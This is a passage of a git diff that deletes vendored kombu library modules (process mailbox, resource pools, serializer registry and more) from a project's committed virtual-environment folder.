self.connect_max_retries) - yield conn - - @contextmanager - def Consumer(self): - with self.establish_connection() as conn: - self.on_connection_revived() - info('Connected to %s', conn.as_uri()) - channel = conn.default_channel - cls = partial(Consumer, channel, - on_decode_error=self.on_decode_error) - with self._consume_from(*self.get_consumers(cls, channel)) as c: - yield conn, channel, c - debug('Consumers canceled') - self.on_consume_end(conn, channel) - debug('Connection closed') - - def _consume_from(self, *consumers): - return nested(*consumers) - - @cached_property - def restart_limit(self): - return TokenBucket(1) - - @cached_property - def connection_errors(self): - return self.connection.connection_errors - - @cached_property - def channel_errors(self): - return self.connection.channel_errors - - -class ConsumerProducerMixin(ConsumerMixin): - """Consumer and Producer mixin. - - Version of ConsumerMixin having separate connection for also - publishing messages. - - Example: - ------- - .. code-block:: python - - class Worker(ConsumerProducerMixin): - - def __init__(self, connection): - self.connection = connection - - def get_consumers(self, Consumer, channel): - return [Consumer(queues=Queue('foo'), - on_message=self.handle_message, - accept='application/json', - prefetch_count=10)] - - def handle_message(self, message): - self.producer.publish( - {'message': 'hello to you'}, - exchange='', - routing_key=message.properties['reply_to'], - correlation_id=message.properties['correlation_id'], - retry=True, - ) - """ - - _producer_connection = None - - def on_consume_end(self, connection, channel): - if self._producer_connection is not None: - self._producer_connection.close() - self._producer_connection = None - - @property - def producer(self): - return Producer(self.producer_connection) - - @property - def producer_connection(self): - if self._producer_connection is None: - conn = self.connection.clone() - conn.ensure_connection(self.on_connection_error, - self.connect_max_retries) - self._producer_connection = conn - return self._producer_connection diff --git a/venv/Lib/site-packages/kombu/pidbox.py b/venv/Lib/site-packages/kombu/pidbox.py deleted file mode 100644 index d88c4c339f2d82a8a297e5f84a4cc554637b5a12..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/pidbox.py +++ /dev/null @@ -1,423 +0,0 @@ -"""Generic process mailbox.""" - -from __future__ import annotations - -import socket -import warnings -from collections import defaultdict, deque -from contextlib import contextmanager -from copy import copy -from itertools import count -from time import time - -from . import Consumer, Exchange, Producer, Queue -from .clocks import LamportClock -from .common import maybe_declare, oid_from -from .exceptions import InconsistencyError -from .log import get_logger -from .matcher import match -from .utils.functional import maybe_evaluate, reprcall -from .utils.objects import cached_property -from .utils.uuid import uuid - -REPLY_QUEUE_EXPIRES = 10 - -W_PIDBOX_IN_USE = """\ -A node named {node.hostname} is already using this process mailbox! - -Maybe you forgot to shutdown the other node or did not do so properly? -Or if you meant to start multiple nodes on the same host please make sure -you give each node a unique node name! -""" - -__all__ = ('Node', 'Mailbox') -logger = get_logger(__name__) -debug, error = logger.debug, logger.error - - -class Node: - """Mailbox node.""" - - #: hostname of the node. - hostname = None - - #: the :class:`Mailbox` this is a node for. - mailbox = None - - #: map of method name/handlers. - handlers = None - - #: current context (passed on to handlers) - state = None - - #: current channel. - channel = None - - def __init__(self, hostname, state=None, channel=None, - handlers=None, mailbox=None): - self.channel = channel - self.mailbox = mailbox - self.hostname = hostname - self.state = state - self.adjust_clock = self.mailbox.clock.adjust - if handlers is None: - handlers = {} - self.handlers = handlers - - def Consumer(self, channel=None, no_ack=True, accept=None, **options): - queue = self.mailbox.get_queue(self.hostname) - - def verify_exclusive(name, messages, consumers): - if consumers: - warnings.warn(W_PIDBOX_IN_USE.format(node=self)) - queue.on_declared = verify_exclusive - - return Consumer( - channel or self.channel, [queue], no_ack=no_ack, - accept=self.mailbox.accept if accept is None else accept, - **options - ) - - def handler(self, fun): - self.handlers[fun.__name__] = fun - return fun - - def on_decode_error(self, message, exc): - error('Cannot decode message: %r', exc, exc_info=1) - - def listen(self, channel=None, callback=None): - consumer = self.Consumer(channel=channel, - callbacks=[callback or self.handle_message], - on_decode_error=self.on_decode_error) - consumer.consume() - return consumer - - def dispatch(self, method, arguments=None, - reply_to=None, ticket=None, **kwargs): - arguments = arguments or {} - debug('pidbox received method %s [reply_to:%s ticket:%s]', - reprcall(method, (), kwargs=arguments), reply_to, ticket) - handle = reply_to and self.handle_call or self.handle_cast - try: - reply = handle(method, arguments) - except SystemExit: - raise - except Exception as exc: - error('pidbox command error: %r', exc, exc_info=1) - reply = {'error': repr(exc)} - - if reply_to: - self.reply({self.hostname: reply}, - exchange=reply_to['exchange'], - routing_key=reply_to['routing_key'], - ticket=ticket) - return reply - - def handle(self, method, arguments=None): - arguments = {} if not arguments else arguments - return self.handlers[method](self.state, **arguments) - - def handle_call(self, method, arguments): - return self.handle(method, arguments) - - def handle_cast(self, method, arguments): - return self.handle(method, arguments) - - def handle_message(self, body, message=None): - destination = body.get('destination') - pattern = body.get('pattern') - matcher = body.get('matcher') - if message: - self.adjust_clock(message.headers.get('clock') or 0) - hostname = self.hostname - run_dispatch = False - if destination: - if hostname in destination: - run_dispatch = True - elif pattern and matcher: - if match(hostname, pattern, matcher): - run_dispatch = True - else: - run_dispatch = True - if run_dispatch: - return self.dispatch(**body) - dispatch_from_message = handle_message - - def reply(self, data, exchange, routing_key, ticket, **kwargs): - self.mailbox._publish_reply(data, exchange, routing_key, ticket, - channel=self.channel, - serializer=self.mailbox.serializer) - - -class Mailbox: - """Process Mailbox.""" - - node_cls = Node - exchange_fmt = '%s.pidbox' - reply_exchange_fmt = 'reply.%s.pidbox' - - #: Name of application. - namespace = None - - #: Connection (if bound). - connection = None - - #: Exchange type (usually direct, or fanout for broadcast). - type = 'direct' - - #: mailbox exchange (init by constructor). - exchange = None - - #: exchange to send replies to. - reply_exchange = None - - #: Only accepts json messages by default. - accept = ['json'] - - #: Message serializer - serializer = None - - def __init__(self, namespace, - type='direct', connection=None, clock=None, - accept=None, serializer=None, producer_pool=None, - queue_ttl=None, queue_expires=None, - queue_durable=False, queue_exclusive=False, - reply_queue_ttl=None, reply_queue_expires=10.0): - self.namespace = namespace - self.connection = connection - self.type = type - self.clock = LamportClock() if clock is None else clock - self.exchange = self._get_exchange(self.namespace, self.type) - self.reply_exchange = self._get_reply_exchange(self.namespace) - self.unclaimed = defaultdict(deque) - self.accept = self.accept if accept is None else accept - self.serializer = self.serializer if serializer is None else serializer - self.queue_ttl = queue_ttl - self.queue_expires = queue_expires - self.queue_durable = queue_durable - self.queue_exclusive = queue_exclusive - self.reply_queue_ttl = reply_queue_ttl - self.reply_queue_expires = reply_queue_expires - self._producer_pool = producer_pool - if queue_exclusive and queue_durable: - raise ValueError( - "queue_exclusive and queue_durable cannot both be True " - "(exclusive queues are automatically deleted and cannot be durable).", - ) - - def __call__(self, connection): - bound = copy(self) - bound.connection = connection - return bound - - def Node(self, hostname=None, state=None, channel=None, handlers=None): - hostname = hostname or socket.gethostname() - return self.node_cls(hostname, state, channel, handlers, mailbox=self) - - def call(self, destination, command, kwargs=None, - timeout=None, callback=None, channel=None): - kwargs = {} if not kwargs else kwargs - return self._broadcast(command, kwargs, destination, - reply=True, timeout=timeout, - callback=callback, - channel=channel) - - def cast(self, destination, command, kwargs=None): - kwargs = {} if not kwargs else kwargs - return self._broadcast(command, kwargs, destination, reply=False) - - def abcast(self, command, kwargs=None): - kwargs = {} if not kwargs else kwargs - return self._broadcast(command, kwargs, reply=False) - - def multi_call(self, command, kwargs=None, timeout=1, - limit=None, callback=None, channel=None): - kwargs = {} if not kwargs else kwargs - return self._broadcast(command, kwargs, reply=True, - timeout=timeout, limit=limit, - callback=callback, - channel=channel) - - def get_reply_queue(self): - oid = self.oid - return Queue( - f'{oid}.{self.reply_exchange.name}', - exchange=self.reply_exchange, - routing_key=oid, - durable=self.queue_durable, - exclusive=self.queue_exclusive, - auto_delete=not self.queue_durable, - expires=self.reply_queue_expires, - message_ttl=self.reply_queue_ttl, - ) - - @cached_property - def reply_queue(self): - return self.get_reply_queue() - - def get_queue(self, hostname): - return Queue( - f'{hostname}.{self.namespace}.pidbox', - exchange=self.exchange, - durable=self.queue_durable, - exclusive=self.queue_exclusive, - auto_delete=not self.queue_durable, - expires=self.queue_expires, - message_ttl=self.queue_ttl, - ) - - @contextmanager - def producer_or_acquire(self, producer=None, channel=None): - if producer: - yield producer - elif self.producer_pool: - with self.producer_pool.acquire() as producer: - yield producer - else: - yield Producer(channel, auto_declare=False) - - def _publish_reply(self, reply, exchange, routing_key, ticket, - channel=None, producer=None, **opts): - chan = channel or self.connection.default_channel - exchange = Exchange(exchange, exchange_type='direct', - delivery_mode='transient', - durable=False) - with self.producer_or_acquire(producer, chan) as producer: - try: - producer.publish( - reply, exchange=exchange, routing_key=routing_key, - declare=[exchange], headers={ - 'ticket': ticket, 'clock': self.clock.forward(), - }, retry=True, - **opts - ) - except InconsistencyError: - # queue probably deleted and no one is expecting a reply. - pass - - def _publish(self, type, arguments, destination=None, - reply_ticket=None, channel=None, timeout=None, - serializer=None, producer=None, pattern=None, matcher=None): - message = {'method': type, - 'arguments': arguments, - 'destination': destination, - 'pattern': pattern, - 'matcher': matcher} - chan = channel or self.connection.default_channel - exchange = self.exchange - if reply_ticket: - maybe_declare(self.reply_queue(chan)) - message.update(ticket=reply_ticket, - reply_to={'exchange': self.reply_exchange.name, - 'routing_key': self.oid}) - serializer = serializer or self.serializer - with self.producer_or_acquire(producer, chan) as producer: - producer.publish( - message, exchange=exchange.name, declare=[exchange], - headers={'clock': self.clock.forward(), - 'expires': time() + timeout if timeout else 0}, - serializer=serializer, retry=True, - ) - - def _broadcast(self, command, arguments=None, destination=None, - reply=False, timeout=1, limit=None, - callback=None, channel=None, serializer=None, - pattern=None, matcher=None): - if destination is not None and \ - not isinstance(destination, (list, tuple)): - raise ValueError( - 'destination must be a list/tuple not {}'.format( - type(destination))) - if (pattern is not None and not isinstance(pattern, str) and - matcher is not None and not isinstance(matcher, str)): - raise ValueError( - 'pattern and matcher must be ' - 'strings not {}, {}'.format(type(pattern), type(matcher)) - ) - - arguments = arguments or {} - reply_ticket = reply and uuid() or None - chan = channel or self.connection.default_channel - - # Set reply limit to number of destinations (if specified) - if limit is None and destination: - limit = destination and len(destination) or None - - serializer = serializer or self.serializer - self._publish(command, arguments, destination=destination, - reply_ticket=reply_ticket, - channel=chan, - timeout=timeout, - serializer=serializer, - pattern=pattern, - matcher=matcher) - - if reply_ticket: - return self._collect(reply_ticket, limit=limit, - timeout=timeout, - callback=callback, - channel=chan) - - def _collect(self, ticket, - limit=None, timeout=1, callback=None, - channel=None, accept=None): - if accept is None: - accept = self.accept - chan = channel or self.connection.default_channel - queue = self.reply_queue - consumer = Consumer(chan, [queue], accept=accept, no_ack=True) - responses = [] - unclaimed = self.unclaimed - adjust_clock = self.clock.adjust - - try: - return unclaimed.pop(ticket) - except KeyError: - pass - - def on_message(body, message): - # ticket header added in kombu 2.5 - header = message.headers.get - adjust_clock(header('clock') or 0) - expires = header('expires') - if expires and time() > expires: - return - this_id = header('ticket', ticket) - if this_id == ticket: - if callback: - callback(body) - responses.append(body) - else: - unclaimed[this_id].append(body) - - consumer.register_callback(on_message) - try: - with consumer: - for i in limit and range(limit) or count(): - try: - self.connection.drain_events(timeout=timeout) - except socket.timeout: - break - return responses - finally: - chan.after_reply_message_received(queue.name) - - def _get_exchange(self, namespace, type): - return Exchange(self.exchange_fmt % namespace, - type=type, - durable=False, - delivery_mode='transient') - - def _get_reply_exchange(self, namespace): - return Exchange(self.reply_exchange_fmt % namespace, - type='direct', - durable=False, - delivery_mode='transient') - - @property - def oid(self): - return oid_from(self) - - @cached_property - def producer_pool(self): - return maybe_evaluate(self._producer_pool) diff --git a/venv/Lib/site-packages/kombu/pools.py b/venv/Lib/site-packages/kombu/pools.py deleted file mode 100644 index 106be18380b2ee9a3de3715563dbd1b6a34dd224..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/pools.py +++ /dev/null @@ -1,152 +0,0 @@ -"""Public resource pools.""" - -from __future__ import annotations - -import os -from itertools import chain - -from .connection import Resource -from .messaging import Producer -from .utils.collections import EqualityDict -from .utils.compat import register_after_fork -from .utils.functional import lazy - -__all__ = ('ProducerPool', 'PoolGroup', 'register_group', - 'connections', 'producers', 'get_limit', 'set_limit', 'reset') -_limit = [10] -_groups = [] -use_global_limit = object() -disable_limit_protection = os.environ.get('KOMBU_DISABLE_LIMIT_PROTECTION') - - -def _after_fork_cleanup_group(group): - group.clear() - - -class ProducerPool(Resource): - """Pool of :class:`kombu.Producer` instances.""" - - Producer = Producer - close_after_fork = True - - def __init__(self, connections, *args, **kwargs): - self.connections = connections - self.Producer = kwargs.pop('Producer', None) or self.Producer - super().__init__(*args, **kwargs) - - def _acquire_connection(self): - return self.connections.acquire(block=True) - - def create_producer(self): - conn = self._acquire_connection() - try: - return self.Producer(conn) - except BaseException: - conn.release() - raise - - def new(self): - return lazy(self.create_producer) - - def setup(self): - if self.limit: - for _ in range(self.limit): - self._resource.put_nowait(self.new()) - - def close_resource(self, resource): - pass - - def prepare(self, p): - if callable(p): - p = p() - if p._channel is None: - conn = self._acquire_connection() - try: - p.revive(conn) - except BaseException: - conn.release() - raise - return p - - def release(self, resource): - if resource.__connection__: - resource.__connection__.release() - resource.channel = None - super().release(resource) - - -class PoolGroup(EqualityDict): - """Collection of resource pools.""" - - def __init__(self, limit=None, close_after_fork=True): - self.limit = limit - self.close_after_fork = close_after_fork - if self.close_after_fork and register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_group) - - def create(self, resource, limit): - raise NotImplementedError('PoolGroups must define ``create``') - - def __missing__(self, resource): - limit = self.limit - if limit is use_global_limit: - limit = get_limit() - k = self[resource] = self.create(resource, limit) - return k - - -def register_group(group): - """Register group (can be used as decorator).""" - _groups.append(group) - return group - - -class Connections(PoolGroup): - """Collection of connection pools.""" - - def create(self, connection, limit): - return connection.Pool(limit=limit) - - -connections = register_group(Connections(limit=use_global_limit)) - - -class Producers(PoolGroup): - """Collection of producer pools.""" - - def create(self, connection, limit): - return ProducerPool(connections[connection], limit=limit) - - -producers = register_group(Producers(limit=use_global_limit)) - - -def _all_pools(): - return chain(*((g.values() if g else iter([])) for g in _groups)) - - -def get_limit(): - """Get current connection pool limit.""" - return _limit[0] - - -def set_limit(limit, force=False, reset_after=False, ignore_errors=False): - """Set new connection pool limit.""" - limit = limit or 0 - glimit = _limit[0] or 0 - if limit != glimit: - _limit[0] = limit - for pool in _all_pools(): - pool.resize(limit) - return limit - - -def reset(*args, **kwargs): - """Reset all pools by closing open resources.""" - for pool in _all_pools(): - try: - pool.force_close_all() - except Exception: - pass - for group in _groups: - group.clear() diff --git a/venv/Lib/site-packages/kombu/resource.py b/venv/Lib/site-packages/kombu/resource.py deleted file mode 100644 index e9b08efcc64708ad251db029fb9bd356056ba3ac..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/resource.py +++ /dev/null @@ -1,231 +0,0 @@ -"""Generic resource pool implementation.""" - -from __future__ import annotations - -import os -from contextlib import nullcontext -from queue import Empty, LifoQueue - -from . import exceptions -from .utils.compat import register_after_fork -from .utils.functional import lazy - - -def _after_fork_cleanup_resource(resource): - try: - resource.force_close_all() - except Exception: - pass - - -class Resource: - """Pool of resources.""" - - LimitExceeded = exceptions.LimitExceeded - - close_after_fork = False - - def __init__(self, limit=None, preload=None, close_after_fork=None): - self._limit = limit - self.preload = preload or 0 - self._closed = False - self.close_after_fork = ( - close_after_fork - if close_after_fork is not None else self.close_after_fork - ) - - self._resource = LifoQueue() - self._dirty = set() - if self.close_after_fork and register_after_fork is not None: - register_after_fork(self, _after_fork_cleanup_resource) - self.setup() - - def setup(self): - raise NotImplementedError('subclass responsibility') - - def _add_when_empty(self): - if self.limit and len(self._dirty) >= self.limit: - raise self.LimitExceeded(self.limit) - # All taken, put new on the queue and - # try get again, this way the first in line - # will get the resource. - self._resource.put_nowait(self.new()) - - def acquire(self, block=False, timeout=None): - """Acquire resource. - - Arguments: - --------- - block (bool): If the limit is exceeded, - then block until there is an available item. - timeout (float): Timeout to wait - if ``block`` is true. Default is :const:`None` (forever). - - Raises - ------ - LimitExceeded: if block is false and the limit has been exceeded. - """ - if self._closed: - raise RuntimeError('Acquire on closed pool') - if self.limit: - while 1: - try: - R = self._resource.get(block=block, timeout=timeout) - except Empty: - self._add_when_empty() - else: - try: - R = self.prepare(R) - except BaseException: - if isinstance(R, lazy): - # not evaluated yet, just put it back - self._resource.put_nowait(R) - else: - # evaluated so must try to release/close first. - self.release(R) - raise - self._dirty.add(R) - break - else: - R = self.prepare(self.new()) - - def release(): - """Release resource so it can be used by another thread. - - Warnings: - -------- - The caller is responsible for discarding the object, - and to never use the resource again. A new resource must - be acquired if so needed. - """ - self.release(R) - R.release = release - - return R - - def prepare(self, resource): - return resource - - def close_resource(self, resource): - resource.close() - - def release_resource(self, resource): - pass - - def replace(self, resource): - """Replace existing resource with a new instance. - - This can be used in case of defective resources. - """ - if self.limit: - self._dirty.discard(resource) - self.close_resource(resource) - - def release(self, resource): - if self.limit: - self._dirty.discard(resource) - self._resource.put_nowait(resource) - self.release_resource(resource) - else: - self.close_resource(resource) - - def collect_resource(self, resource): - pass - - def force_close_all(self, close_pool=True): - """Close and remove all resources in the pool (also those in use). - - Used to close resources from parent processes after fork - (e.g. sockets/connections). - - Arguments: - --------- - close_pool (bool): If True (default) then the pool is marked - as closed. In case of False the pool can be reused. - """ - if self._closed: - return - self._closed = close_pool - dirty = self._dirty - resource = self._resource - while 1: # - acquired - try: - dres = dirty.pop() - except KeyError: - break - try: - self.collect_resource(dres) - except AttributeError: # Issue #78 - pass - while 1: # - available - try: - res = resource.queue.pop() - except IndexError: - break - try: - self.collect_resource(res) - except AttributeError: - pass # Issue #78 - - def resize(self, limit, force=False, ignore_errors=False, reset=False): - prev_limit = self._limit - if (self._dirty and 0 < limit < self._limit) and not ignore_errors: - if not force: - raise RuntimeError( - "Can't shrink pool when in use: was={} now={}".format( - self._limit, limit)) - reset = True - self._limit = limit - if reset: - try: - self.force_close_all(close_pool=False) - except Exception: - pass - self.setup() - if limit < prev_limit: - self._shrink_down(collect=limit > 0) - - def _shrink_down(self, collect=True): - resource = self._resource - # we should remove the least recently used item, but there is no public API in LifoQueue to - # do so. - with getattr(resource, 'mutex', nullcontext()): - # keep in mind the dirty resources are not shrinking - while len(resource.queue) and (len(resource.queue) + len(self._dirty)) > self.limit: - R = resource.queue.pop() - if collect: - self.collect_resource(R) - - @property - def limit(self): - return self._limit - - @limit.setter - def limit(self, limit): - self.resize(limit) - - if os.environ.get('KOMBU_DEBUG_POOL'): # pragma: no cover - _orig_acquire = acquire - _orig_release = release - - _next_resource_id = 0 - - def acquire(self, *args, **kwargs): - import traceback - id = self._next_resource_id = self._next_resource_id + 1 - print(f'+{id} ACQUIRE {self.__class__.__name__}') - r = self._orig_acquire(*args, **kwargs) - r._resource_id = id - print(f'-{id} ACQUIRE {self.__class__.__name__}') - if not hasattr(r, 'acquired_by'): - r.acquired_by = [] - r.acquired_by.append(traceback.format_stack()) - return r - - def release(self, resource): - id = resource._resource_id - print(f'+{id} RELEASE {self.__class__.__name__}') - r = self._orig_release(resource) - print(f'-{id} RELEASE {self.__class__.__name__}') - self._next_resource_id -= 1 - return r diff --git a/venv/Lib/site-packages/kombu/serialization.py b/venv/Lib/site-packages/kombu/serialization.py deleted file mode 100644 index 055aa376da22e0f3d64c191f941cbf31423bac3d..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/serialization.py +++ /dev/null @@ -1,463 +0,0 @@ -"""Serialization utilities.""" - -from __future__ import annotations - -import codecs -import os -import pickle -import sys -from collections import namedtuple -from contextlib import contextmanager -from io import BytesIO - -from .exceptions import (ContentDisallowed, DecodeError, EncodeError, - SerializerNotInstalled, reraise) -from .utils.compat import entrypoints -from .utils.encoding import bytes_to_str, str_to_bytes - -__all__ = ('pickle', 'loads', 'dumps', 'register', 'unregister') -SKIP_DECODE = frozenset(['binary', 'ascii-8bit']) -TRUSTED_CONTENT = frozenset(['application/data', 'application/text']) - -if sys.platform.startswith('java'): # pragma: no cover - - def _decode(t, coding): - return codecs.getdecoder(coding)(t)[0] -else: - _decode = codecs.decode - -pickle_load = pickle.load - -#: We have to use protocol 4 until we drop support for Python 3.6 and 3.7. -pickle_protocol = int(os.environ.get('PICKLE_PROTOCOL', 4)) - -codec = namedtuple('codec', ('content_type', 'content_encoding', 'encoder')) - - -@contextmanager -def _reraise_errors(wrapper, - include=(Exception,), exclude=(SerializerNotInstalled,)): - try: - yield - except exclude: - raise - except include as exc: - reraise(wrapper, wrapper(exc), sys.exc_info()[2]) - - -def pickle_loads(s, load=pickle_load): - # used to support buffer objects - return load(BytesIO(s)) - - -def parenthesize_alias(first, second): - return f'{first} ({second})' if first else second - - -class SerializerRegistry: - """The registry keeps track of serialization methods.""" - - def __init__(self): - self._encoders = {} - self._decoders = {} - self._default_encode = None - self._default_content_type = None - self._default_content_encoding = None - self._disabled_content_types = set() - self.type_to_name = {} - self.name_to_type = {} - - def register(self, name, encoder, decoder, content_type, - content_encoding='utf-8'): - """Register a new encoder/decoder. - - Arguments: - --------- - name (str): A convenience name for the serialization method. - - encoder (callable): A method that will be passed a python data - structure and should return a string representing the - serialized data. If :const:`None`, then only a decoder - will be registered. Encoding will not be possible. - - decoder (Callable): A method that will be passed a string - representing serialized data and should return a python - data structure. If :const:`None`, then only an encoder - will be registered. Decoding will not be possible. - - content_type (str): The mime-type describing the serialized - structure. - - content_encoding (str): The content encoding (character set) that - the `decoder` method will be returning. Will usually be - `utf-8`, `us-ascii`, or `binary`. - """ - if encoder: - self._encoders[name] = codec( - content_type, content_encoding, encoder, - ) - if decoder: - self._decoders[content_type] = decoder - self.type_to_name[content_type] = name - self.name_to_type[name] = content_type - - def enable(self, name): - if '/' not in name: - name = self.name_to_type[name] - self._disabled_content_types.discard(name) - - def disable(self, name): - if '/' not in name: - name = self.name_to_type[name] - self._disabled_content_types.add(name) - - def unregister(self, name): - """Unregister registered encoder/decoder. - - Arguments: - --------- - name (str): Registered serialization method name. - - Raises - ------ - SerializerNotInstalled: If a serializer by that name - cannot be found. - """ - try: - content_type = self.name_to_type[name] - self._decoders.pop(content_type, None) - self._encoders.pop(name, None) - self.type_to_name.pop(content_type, None) - self.name_to_type.pop(name, None) - except KeyError: - raise SerializerNotInstalled( - f'No encoder/decoder installed for {name}') - - def _set_default_serializer(self, name): - """Set the default serialization method used by this library. - - Arguments: - --------- - name (str): The name of the registered serialization method. - For example, `json` (default), `pickle`, `yaml`, `msgpack`, - or any custom methods registered using :meth:`register`. - - Raises - ------ - SerializerNotInstalled: If the serialization method - requested is not available. - """ - try: - (self._default_content_type, self._default_content_encoding, - self._default_encode) = self._encoders[name] - except KeyError: - raise SerializerNotInstalled( - f'No encoder installed for {name}') - - def dumps(self, data, serializer=None): - """Encode data. - - Serialize a data structure into a string suitable for sending - as an AMQP message body. - - Arguments: - --------- - data (List, Dict, str): The message data to send. - - serializer (str): An optional string representing - the serialization method you want the data marshalled - into. (For example, `json`, `raw`, or `pickle`). - - If :const:`None` (default), then json will be used, unless - `data` is a :class:`str` or :class:`unicode` object. In this - latter case, no serialization occurs as it would be - unnecessary. - - Note that if `serializer` is specified, then that - serialization method will be used even if a :class:`str` - or :class:`unicode` object is passed in. - - Returns - ------- - Tuple[str, str, str]: A three-item tuple containing the - content type (e.g., `application/json`), content encoding, (e.g., - `utf-8`) and a string containing the serialized data. - - Raises - ------ - SerializerNotInstalled: If the serialization method - requested is not available. - """ - if serializer == 'raw': - return raw_encode(data) - if serializer and not self._encoders.get(serializer): - raise SerializerNotInstalled( - f'No encoder installed for {serializer}') - - # If a raw string was sent, assume binary encoding - # (it's likely either ASCII or a raw binary file, and a character - # set of 'binary' will encompass both, even if not ideal. - if not serializer and isinstance(data, bytes): - # In Python 3+, this would be "bytes"; allow binary data to be - # sent as a message without getting encoder errors - return 'application/data', 'binary', data - - # For Unicode objects, force it into a string - if not serializer and isinstance(data, str): - with _reraise_errors(EncodeError, exclude=()): - payload = data.encode('utf-8') - return 'text/plain', 'utf-8', payload - - if serializer: - content_type, content_encoding, encoder = \ - self._encoders[serializer] - else: - encoder = self._default_encode - content_type = self._default_content_type - content_encoding = self._default_content_encoding - - with _reraise_errors(EncodeError): - payload = encoder(data) - return content_type, content_encoding, payload - - def loads(self, data, content_type, content_encoding, - accept=None, force=False, _trusted_content=TRUSTED_CONTENT): - """Decode serialized data. - - Deserialize a data stream as serialized using `dumps` - based on `content_type`. - - Arguments: - --------- - data (bytes, buffer, str): The message data to deserialize. - - content_type (str): The content-type of the data. - (e.g., `application/json`). - - content_encoding (str): The content-encoding of the data. - (e.g., `utf-8`, `binary`, or `us-ascii`). - - accept (Set): List of content-types to accept. - - Raises - ------ - ContentDisallowed: If the content-type is not accepted. - - Returns - ------- - Any: The unserialized data. - """ - content_type = (bytes_to_str(content_type) if content_type - else 'application/data') - if accept is not None: - if content_type not in _trusted_content \ - and content_type not in accept: - raise self._for_untrusted_content(content_type, 'untrusted') - else: - if content_type in self._disabled_content_types and not force: - raise self._for_untrusted_content(content_type, 'disabled') - content_encoding = (content_encoding or 'utf-8').lower() - - if data: - decode = self._decoders.get(content_type) - if decode: - with _reraise_errors(DecodeError): - return decode(data) - if content_encoding not in SKIP_DECODE and \ - not isinstance(data, str): - with _reraise_errors(DecodeError): - return _decode(data, content_encoding) - return data - - def _for_untrusted_content(self, ctype, why): - return ContentDisallowed( - 'Refusing to deserialize {} content of type {}'.format( - why, - parenthesize_alias(self.type_to_name.get(ctype, ctype), ctype), - ), - ) - - -#: Global registry of serializers/deserializers. -registry = SerializerRegistry() -dumps = registry.dumps -loads = registry.loads -register = registry.register -unregister = registry.unregister - - -def raw_encode(data): - """Special case serializer.""" - content_type = 'application/data' - payload = data - if isinstance(payload, str): - content_encoding = 'utf-8' - with _reraise_errors(EncodeError, exclude=()): - payload = payload.encode(content_encoding) - else: - content_encoding = 'binary' - return content_type, content_encoding, payload - - -def register_json(): - """Register a encoder/decoder for JSON serialization.""" - from kombu.utils import json as _json - - registry.register('json', _json.dumps, _json.loads, - content_type='application/json', - content_encoding='utf-8') - - -def register_yaml(): - """Register a encoder/decoder for YAML serialization. - - It is slower than JSON, but allows for more data types - to be serialized. Useful if you need to send data such as dates - - """ - try: - import yaml - registry.register('yaml', yaml.safe_dump, yaml.safe_load, - content_type='application/x-yaml', - content_encoding='utf-8') - except ImportError: - - def not_available(*args, **kwargs): - """Raise SerializerNotInstalled. - - Used in case a client receives a yaml message, but yaml - isn't installed. - """ - raise SerializerNotInstalled( - 'No decoder installed for YAML. Install the PyYAML library') - registry.register('yaml', None, not_available, 'application/x-yaml') - - -def unpickle(s): - return pickle_loads(str_to_bytes(s)) - - -def register_pickle(): - """Register pickle serializer. - - The fastest serialization method, but restricts - you to python clients. - """ - def pickle_dumps(obj, dumper=pickle.dumps): - return dumper(obj, protocol=pickle_protocol) - - registry.register('pickle', pickle_dumps, unpickle, - content_type='application/x-python-serialize', - content_encoding='binary') - - -def register_msgpack(): - """Register msgpack serializer. - - See Also - -------- - https://msgpack.org/. - """ - pack = unpack = None - try: - import msgpack - if msgpack.version >= (0, 4): - from msgpack import packb, unpackb - - def pack(s): # noqa - return packb(s, use_bin_type=True) - - def unpack(s): # noqa - return unpackb(s, raw=False) - else: - def version_mismatch(*args, **kwargs): - raise SerializerNotInstalled( - 'msgpack requires msgpack-python >= 0.4.0') - pack = unpack = version_mismatch - except (ImportError, ValueError): - def not_available(*args, **kwargs): - raise SerializerNotInstalled( - 'No decoder installed for msgpack. ' - 'Please install the msgpack-python library') - pack = unpack = not_available - registry.register( - 'msgpack', pack, unpack, - content_type='application/x-msgpack', - content_encoding='binary', - ) - - -# Register the base serialization methods. -register_json() -register_pickle() -register_yaml() -register_msgpack() - -# Default serializer is 'json' -registry._set_default_serializer('json') - -NOTSET = object() - - -def enable_insecure_serializers(choices=NOTSET): - """Enable serializers that are considered to be unsafe. - - Note: - ---- - Will enable ``pickle``, ``yaml`` and ``msgpack`` by default, but you - can also specify a list of serializers (by name or content type) - to enable. - """ - choices = ['pickle', 'yaml', 'msgpack'] if choices is NOTSET else choices - if choices is not None: - for choice in choices: - try: - registry.enable(choice) - except KeyError: - pass - - -def disable_insecure_serializers(allowed=NOTSET): - """Disable untrusted serializers. - - Will disable all serializers except ``json`` - or you can specify a list of deserializers to allow. - - Note: - ---- - Producers will still be able to serialize data - in these formats, but consumers will not accept - incoming data using the untrusted content types. - """ - allowed = ['json'] if allowed is NOTSET else allowed - for name in registry._decoders: - registry.disable(name) - if allowed is not None: - for name in allowed: - registry.enable(name) - - -# Insecure serializers are disabled by default since v3.0 -disable_insecure_serializers() - -# Load entrypoints from installed extensions -for ep, args in entrypoints('kombu.serializers'): # pragma: no cover - register(ep.name, *args) - - -def prepare_accept_content(content_types, name_to_type=None): - """Replace aliases of content_types with full names from registry. - - Raises - ------ - SerializerNotInstalled: If the serialization method - requested is not available. - """ - name_to_type = registry.name_to_type if not name_to_type else name_to_type - if content_types is not None: - try: - return {n if '/' in n else name_to_type[n] for n in content_types} - except KeyError as e: - raise SerializerNotInstalled( - f'No encoder/decoder installed for {e.args[0]}') - return content_types diff --git a/venv/Lib/site-packages/kombu/simple.py b/venv/Lib/site-packages/kombu/simple.py deleted file mode 100644 index a33e5f9e1860d25f45eeb078128864d04149d8ca..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/kombu/simple.py +++ /dev/null @@ -1,163 +0,0 @@ -"""Simple messaging interface.""" - -from __future__ import annotations - -import socket -from collections import deque -from queue import Empty -from time import monotonic -from typing import TYPE_CHECKING - -from . import entity, messaging -from .connection import maybe_channel - -if TYPE_CHECKING: - from types import TracebackType - -__all__ = ('SimpleQueue', 'SimpleBuffer') - - -class SimpleBase: - Empty = Empty - _consuming = False - - def __enter__(self): - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None - ) -> 